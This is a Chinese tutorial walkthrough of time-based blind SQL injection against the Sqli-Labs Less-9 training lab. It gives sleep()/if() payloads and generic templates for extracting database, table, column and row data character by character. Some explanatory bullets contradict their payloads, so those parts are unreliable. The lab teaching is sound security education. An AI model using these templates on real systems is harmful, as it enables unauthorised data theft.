SQL注入-时间盲注

SQL时间盲注(Time-based Blind SQL Injection),又叫延时注入,是一种SQL注入攻击技术,用于在无法直接获取查询结果或查看响应内容变化的情况下,通过引入时间延迟来推断数据库的信息;时间盲注依赖于数据库执行查询时的时间延迟,通过观察响应时间的变化,攻击者可以推测出查询结果。

这里以Sqli-Labs靶场的Less-9关卡为例子来阐述时间盲注的具体思路:

进入关卡首先构建参数id,并传入对应数据,可以发现无论传入的数据是什么,是正确还是错误,回显始终是一样的,说明此时布尔盲注是不管用的,这个时候就可以尝试使用时间注入。

1.判断是否存在注入漏洞

因为通过回显无法判断正确还是错误;所以此时需要使用mysql中的sleep()函数来判断此处是否存在注入漏洞;SLEEP() 函数在 MySQL 中用于引入延迟,它使查询在执行时暂停指定的秒数;此时可以构造语句:

1 and sleep(5)      //整型
1' and sleep(5) --+  //字符型,单引号闭合
1” and sleep(5) --+  //字符型,双引号闭合

在一切未知的情况下我们只能一个一个语句进行尝试,但是由于此时环境位渗透靶场,我们可以根据网站源码来进行理解(单引号闭合):

此时完整请求代码:

SELECT * FROM users WHERE id='1' and sleep(5) --+' LIMIT 0,1

SLEEP(5) 函数使查询延迟5秒执行。如果这一部分被成功注入并执行,服务器的响应时间将增加5秒。

语句执行结果:

发生延时,证明存在注入漏洞,且注入类型为字符型注入使用单引号闭合。

接下去的注入的过程的核心函数if()函数;MySQL的IF函数用于执行条件判断,在满足某个条件时返回一个值,否则返回另一个值。其基本语法如下:

IF(condition, true_value, false_value)
  • condition: 需要评估的条件表达式。如果条件为真,则返回true_value

  • true_value: 如果条件为真,函数返回的值。

  • false_value: 如果条件为假,函数返回的值。

接下去的核心语句if(查询语句,sleep(5),1);即如果我们的查询语句为真,那么过5秒之后返回页面;如果我们的查询语句为假,那么直接返回结果。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。后续的步骤与布尔盲注基本一致。

2.判断数据库名的长度:

此时我们可以结合布尔盲注的语句进行语句构造:

1' and if(length(database())=4,sleep(5),1) --+ 

此时带入源码中的数据请求sql语句来理解:

SELECT * FROM users WHERE id='1' and if(length(database())=4,sleep(5),1) --+ ' LIMIT 0,1
  • LENGTH(database())=4:检查当前数据库名称的长度是否为4。

  • SLEEP(5):如果数据库名称的长度为4,则使查询延迟5秒执行。

  • 1:如果数据库名称的长度不为4,则返回1,即条件为真。

判断数据库名长度的模板:

key' and if(length(database())=长度数据,sleep(5),1) --+ 

此处可以结合burpsuite进行数据库长度爆破。

3.判断数据库名

构造语句:

1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ 

带入程序中的查询进行理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ ' LIMIT 0,1
  • SUBSTR(database(), 1, 1):获取当前数据库名称的第一个字符。

  • ASCII(SUBSTR(database(), 1, 1)) = 90:检查该字符的ASCII码是否为90。

  • SLEEP(5):如果条件为真,则使查询延迟5秒执行。

  • 1:如果条件为假,则立即返回1。

模板:

key' and if(ascii(substr(database(),1~数据库名长度,1)) = ascii码,sleep(5),1) --+ 

得到数据库名为:"security"

4.推测数据库中的表信息
1)猜表的数量

构造语句:

1' and if((select count(table_name) from information_schema.tables where table_schema='security') = 4 ,sleep(5),1) --+ 

带入程序中的查询进行理解:

SELECT * FROM users WHERE id='1' and if((select count(table_name) from information_schema.tables where table_schema="security") = 4 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='security') = 2:检查 security 数据库中的表数量是否为2。

  • SLEEP(5):如果条件为真,则使查询延迟5秒执行。

  • 1:如果条件为假,则立即返回1。

模板:

key' and if((select count(table_name) from information_schema.tables where table_schema='数据库名') = 表的数量 ,sleep(5),1) --+ 

最后可以得到表的数量为4。

2)猜表的名称的长度

此时可以构建语句进行测试:

1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ 

结合程序语句理解:

SELECT * FROM users WHERE id='1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT table_name FROM information_schema.tables WHERE table_schema="security" LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1): 获取该表名的第一个字符(从位置1开始)。

  • LENGTH(...): 计算表名的长度。

  • IF(... = 6, SLEEP(5), 1): 如果长度为6,则使查询延迟5秒执行;否则立即返回1。

模板:

key' and if(length(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1)) = 6 ,sleep(5),1) --+ 

3)猜表的名称

此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜:猜对回显正常,猜错回显异常。

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ 

结合程序语句:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1, 1): 获取该表名的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 103, SLEEP(5), 1): 如果 ASCII 码为 101(即字符 'e'),则使查询延迟 5 秒执行;否则立即返回 1。

模板:

key' and if(ascii(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1~表的字符长度,1)) = Ascii码 ,sleep(5),1) --+ 

此处可以得到第一个表的名称为emails

5.推测数据列信息

此步也分为几个小步骤:猜列的数量–>猜列的长度–>列的名称;方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可;以下为模板套着用就好了。

1)猜列的数量(需要用到上述得到的表名)
1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ 

结合程序理解:

SELECT * FROM users WHERE id='1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='emails'): 从 security 数据库的 emails 表中获取列的数量。

  • IF(... = 2, SLEEP(5), 1): 如果列数量为2,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if((select count(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名)=2 ,sleep(5),1) --+ 

2)猜列名的长度(需要用到表名、获取的列的数量)

构造语句:(猜测第一张表中的第一个列的长度)

1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ 

结合程序中的语句:

SELECT * FROM users WHERE id='1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ ' LIMIT 0,1

(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

SUBSTR(..., 1): 获取该列名的第一个字符(从位置1开始)。

LENGTH(...): 计算列名的长度。

IF(... = 2, SLEEP(5), 1): 如果长度为2,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(length(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0~列数-1,1 ),1))=列名长度 ,sleep(5),1) --+ 

3)列的名称(需要用到表名、获取的列的数量、列名的长度)

构造语句:

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ 

带入程序理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

  • SUBSTR(..., 1, 1): 获取该列名的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 105, SLEEP(5), 1): 如果 ASCII 码为 105(即字符 'i'),则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表' limit 0~列数-1,1 ),1~列名长度,1))=ASCII码,sleep(5),1) --+ 

此处可以得到一个列名id

6.推测数据
1)猜测当前数据的长度

具体思路与上述一样,直接上模板

1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ 

带入程序:

SELECT * FROM users WHERE id='1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(..., 1): 获取该 id 值的第一个字符(从位置1开始)。

  • LENGTH(...): 计算 id 值的长度。

  • IF(... = 1, SLEEP(5), 1): 如果长度为1,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(length(substr((select 列名 from 表名 limit 0~列的个数,1 ),1))=数据长度 ,sleep(5),1) --+ 

2)猜测当前数据

构造语句:

1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ 

带入语句理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(...,1,1): 获取该 id 值的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(...=49, SLEEP(5), 1): 如果 ASCII 码为49(即字符 '1'),则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=49 ,sleep(5),1) --+ 

数据个数无需单独测试,从0开始往大了测即可,若数值大于数据个数则回显自然就不正常(即未延时)。

至此就是时间盲注的过程与思路。

相关推荐

  1. SQL注入攻击 - 基于时间

    2024-06-06 00:18:02       45 阅读
  2. 布尔+时间+堆叠注入

    2024-06-06 00:18:02       22 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-06 00:18:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-06 00:18:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-06 00:18:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-06 00:18:02       20 阅读

热门阅读

  1. 用队列实现栈-力扣

    2024-06-06 00:18:02       10 阅读
  2. 【git】常用命令

    2024-06-06 00:18:02       7 阅读
  3. Django 目录

    2024-06-06 00:18:02       8 阅读
  4. CMake是怎么找到Qt相关模块的

    2024-06-06 00:18:02       9 阅读
  5. 深入探讨Qt中的容器类:QList与QVector

    2024-06-06 00:18:02       10 阅读
  6. uniapp tab组件

    2024-06-06 00:18:02       7 阅读
  7. Linux 主机一键安全整改策略

    2024-06-06 00:18:02       8 阅读
  8. 机器学习-9-python中的pipeline以及sklearn中的pipeline

    2024-06-06 00:18:02       10 阅读
  9. 事务与并发控制

    2024-06-06 00:18:02       8 阅读